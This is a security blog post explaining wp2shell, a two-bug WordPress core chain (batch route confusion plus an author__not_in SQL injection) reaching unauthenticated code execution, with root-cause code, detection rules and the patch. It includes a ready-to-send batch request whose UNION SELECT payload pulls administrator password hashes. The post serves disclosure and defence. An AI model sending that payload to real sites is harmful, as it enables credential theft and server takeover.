# wp2shell CVE-2026-63030 Unauthenticated RCE in WordPress Core

Source: https://www.egnworks.com/blog/wp2shell-cve-2026-63030-and-cve-2026-60137-unauthenticated-rce-in-wordpress-core  
Author: Jacob Strix  
Published: 2026-07-20  
Updated: 2026-07-20  
Category: Security  
Tags: CVE-2026-63030, CVE-2026-60137, WordPress, RCE, Authentication, SIEM

> How wp2shell chains two WordPress core bugs into unauthenticated RCE with a full exploit walkthrough SIEM detection and the patch for CVE-2026-63030 and CVE-2026-60137.

---

An anonymous request to a stock WordPress site can now end in a shell. The flaw does not live in a plugin or a theme. It lives in the core REST API that ships with every modern install. Researchers named the chain wp2shell and it turns two separate bugs into a single pre authentication remote code execution path. The first bug confuses the batch router into running your request with someone else handler. The second bug lets a plain string slip into a SQL query that was built for an array. On their own each one is limited. Chained together they hand an unauthenticated attacker the administrator password hash and then the whole server. WordPress shipped the fix on 17 July 2026 and public exploit code appeared within a day with early exploitation reported soon after.

## Why a Batch Request Becomes a Shell

The REST API is the modern control plane of WordPress. It exposes posts and users and settings over predictable routes and it guards each route with a permission callback. The batch endpoint exists so a client can send many of these routed requests in one call. That convenience is also the weakness. When the router lines up the wrong handler with the wrong request the permission callback that should have blocked you never runs. The moment authentication is out of the way the second bug turns a normal looking query parameter into direct database access. Nothing about this needs a login and nothing about this needs a plugin.

## Quick Facts

| Field | Detail |
| --- | --- |
| Chain name | `wp2shell` |
| CVE IDs | `CVE-2026-63030` and `CVE-2026-60137` |
| Published | 17 July 2026 |
| CVE-2026-63030 | `CVSS 3.1 7.5 High` AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVE-2026-60137 | `CVSS 3.1 9.1 Critical` AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-863 Incorrect Authorization and CWE-89 SQL Injection |
| Affected, full chain | WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 |
| Affected, SQL injection only | WordPress 6.8.0 through 6.8.5 |
| Authentication required | None |
| Discovered by | Adam Kues of Assetnote at Searchlight Cyber, reported through the WordPress HackerOne program |
| Exploitation in wild | Public exploit code circulated within a day, with early exploitation reported by security firms |
| Precondition | The vulnerable path is reachable when no persistent object cache is in use |
| Fix | Update to WordPress 6.8.6 or 6.9.5 or 7.0.2 |

## Root Cause One: The Batch Route Confusion

The batch handler lives in the core function that serves a batch request. It walks the list of sub requests and validates each one before it dispatches any of them. The intent is sound. Validate everything first and only run the batch when every part passes. The mistake is in how the two lists are kept. A sub request that passes validation is pushed onto a matches array that later drives dispatch. A sub request that fails validation is pushed onto a separate validation array instead. The two arrays are then walked by the same index. When one early sub request fails validation the matches array is one entry shorter than the request list and every later handler shifts up by one slot.

```php
// simplified from WP_REST_Server::serve_batch_request_v1()
foreach ( $requests as $i => $request ) {
    $match = $this->match_request_to_handler( $request );
    if ( is_wp_error( $match ) ) {
        $validation[ $i ] = $match;   // failure goes here
        continue;                     // and is skipped below
    }
    $matches[] = $match;              // success goes here with no gap
}

// later the wrong index is used to dispatch
foreach ( $matches as $i => $handler ) {
    $response = $this->dispatch_to_handler( $requests[ $i ], $handler );
}
```

Read the second loop closely. It pairs the request at index i with the handler at index i but the matches array lost an entry when the earlier sub request failed. So request number one is dispatched with the handler that was matched for request number two. An attacker who makes the first sub request fail validation on purpose slides a later request into a handler that carries a weaker or missing permission check. The guard on the target route simply never fires because it was resolved for a different request.

## Root Cause Two: The author__not_in SQL Injection

The second bug is older and quieter. The core query object accepts an author__not_in argument that is meant to be an array of user identifiers. The query builder drops those identifiers into a NOT IN clause. The sanitizer assumes the value is always an array and it walks the array to cast each element to an integer. When the value arrives as a plain string the array walk is skipped and the raw string is concatenated straight into the SQL.

```php
// what the query builder expects
$author__not_in = array( 2, 5, 9 );
// AND wp_posts.post_author NOT IN (2,5,9)

// what an attacker sends
$author__not_in = "0) UNION SELECT user_pass FROM wp_users WHERE ID=1-- -";
// AND wp_posts.post_author NOT IN (0) UNION SELECT user_pass FROM wp_users WHERE ID=1-- -)
```

Any code path that passes untrusted input to author__not_in becomes an injection point. The REST posts route exposes this through its author_exclude parameter which normally sanitizes to an array of integers. That sanitizer is exactly the guard the route confusion bug lets an attacker skip. Remove the sanitizer and the raw string reaches the query object untouched.

## How the Exploit Works

The chain reads like a relay. The batch endpoint accepts a list of sub requests as JSON. The attacker crafts the list so the first entry fails validation and shifts the routing. The shifted entry is a posts query that now runs without the argument sanitizer. Its author_exclude value is a SQL injection payload that pulls the administrator password hash out of the users table. The response returns the hash in the post payload. From there the attacker cracks the hash or replays the session and uploads a plugin that carries a web shell. The whole path runs before any login so a single request reaches the database of a default install.

The request itself is small. The first sub request targets a guarded route with a body that fails schema validation. That failure is the trigger. It removes one entry from the dispatch list and slides the second sub request into the first handler slot. The second sub request carries the injection.

```json
POST /wp-json/batch/v1 HTTP/1.1
Host: victim.example
Content-Type: application/json

{
  "validation": "require-all-validate",
  "requests": [
    { "method": "POST", "path": "/wp/v2/settings", "body": { "x": "@" } },
    { "method": "GET",  "path": "/wp/v2/posts?author__not_in=0)%20UNION%20SELECT%20user_login,user_pass,3%20FROM%20wp_users--%20-" }
  ]
}
```

The first entry aims at a guarded settings route with a body that fails the schema so it drops out of the dispatch list. The second entry then inherits that slot and runs the posts query with a raw author__not_in string. The exact column count and offsets depend on the route table of the target version so an operator tunes the payload against the response. The shape never changes. One request fails on purpose and the next request rides its handler into the database.

## Are You Affected?

You are exposed if you run WordPress 6.9.0 through 6.9.4 or 7.0.0 through 7.0.1 and you have not applied the July security release. Those branches carry the full chain and an anonymous attacker can reach code execution. You are partly exposed if you run 6.8.0 through 6.8.5 because the SQL injection is present even though the batch confusion that weaponizes it is not. The vulnerable path is reached when the site does not run a persistent object cache which describes the majority of small and medium installs. With more than five hundred million WordPress sites online the population of reachable targets is enormous and public proof of concept code is already circulating.

## Detection

Detection splits into the request signature at the edge and the aftermath in the logs. The clearest pre exploit signal is an anonymous POST to the batch endpoint that carries a SQL keyword inside a query path. Legitimate batch traffic is almost always authenticated and it almost never contains a UNION.

```yaml
title: Anonymous Batch Endpoint Abuse Against WordPress Core
logsource:
  category: webserver
detection:
  selection_route:
    cs-uri-stem|contains:
      - '/wp-json/batch/v1'
      - 'rest_route=/batch/v1'
  selection_inject:
    cs-uri-query|contains:
      - 'author__not_in'
      - 'UNION'
      - 'wp_users'
  condition: selection_route and selection_inject
level: critical
```

After the load the signal moves to state change. Watch for a new administrator account that nobody created, for a plugin that appears in the plugins folder without a matching install event, and for a PHP file written under the uploads folder. Egnworks wires these signatures into the SIEM so a batch probe raises an alert long before the web shell lands.

## The Fix and Why It Works

The durable fix is the July core release. Update to WordPress 7.0.2 or 6.9.5 or 6.8.6 depending on your branch and confirm the version by hand rather than trusting that auto update ran. The patch corrects both roots. The batch handler now keeps the dispatch list aligned with the request list so a failed sub request no longer shifts every handler that follows it. The query layer now rejects a non array value for author__not_in before it can reach the SQL builder so a raw string is dropped rather than concatenated.

```php
// hardened dispatch keeps request and handler aligned
foreach ( $requests as $i => $request ) {
    $match = $this->match_request_to_handler( $request );
    if ( is_wp_error( $match ) ) {
        $validation[ $i ] = $match;
        $matches[ $i ]    = null;   // hold the slot so indexes stay paired
        continue;
    }
    $matches[ $i ] = $match;
}

// author__not_in is forced to an array before it reaches SQL
if ( ! is_array( $q['author__not_in'] ) ) {
    $q['author__not_in'] = array();
}
```

If you cannot patch this hour then block the exposure at the edge. Deny anonymous access to the batch route and to its query string alias at your WAF and reject any request that carries a SQL keyword inside author_exclude or author__not_in. Treat these as a stopgap and not a cure because the underlying flaw remains until the core files are replaced. If you find evidence of exploitation then rotate every administrator credential and rebuild from a known good backup because a web shell that reached the disk survives a simple plugin removal.

## Lessons

Two safe features became one unsafe chain and that is the pattern worth remembering. Batch processing and query exclusion are both ordinary and both trusted. The batch handler trusted its own index math and the query builder trusted the shape of its input. Neither assumption held under a hostile request. Authorization that depends on a correct array offset is authorization you can shift and input validation that runs after the type check is validation you can skip. Treat every route as reachable by the wrong caller and treat every parameter as the wrong type until proven otherwise and a chain like wp2shell never gets its first link.

## Related Reading

[CVE-2025-55182 React2Shell Unauthenticated RCE in React](https://www.egnworks.com/blog/cve-2025-55182-react2shell-unauthenticated-rce-in-react)  
[CVE-2026-33017 Unauthenticated RCE in Langflow and the 20 Hour Exploit](https://www.egnworks.com/blog/cve-2026-33017-unauthenticated-rce-in-langflow-and-the-20-hour-exploit)  
[CVE-2026-45777 Unauthenticated RCE in Open XDMoD and the Chart Export Behind It](https://www.egnworks.com/blog/cve-2026-45777-unauthenticated-rce-in-open-xdmod-and-the-chart-export-behind-it)

## References

[Wordfence PSA WordPress Core Unauthenticated RCE Chain](https://www.wordfence.com/blog/2026/07/psa-wordpress-core-patched-unauthenticated-remote-code-execution-vulnerability-chain/)  
[Rapid7 Emergent Threat Response for CVE-2026-63030](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/)  
[NVD Entry for CVE-2026-63030](https://nvd.nist.gov/vuln/detail/CVE-2026-63030)
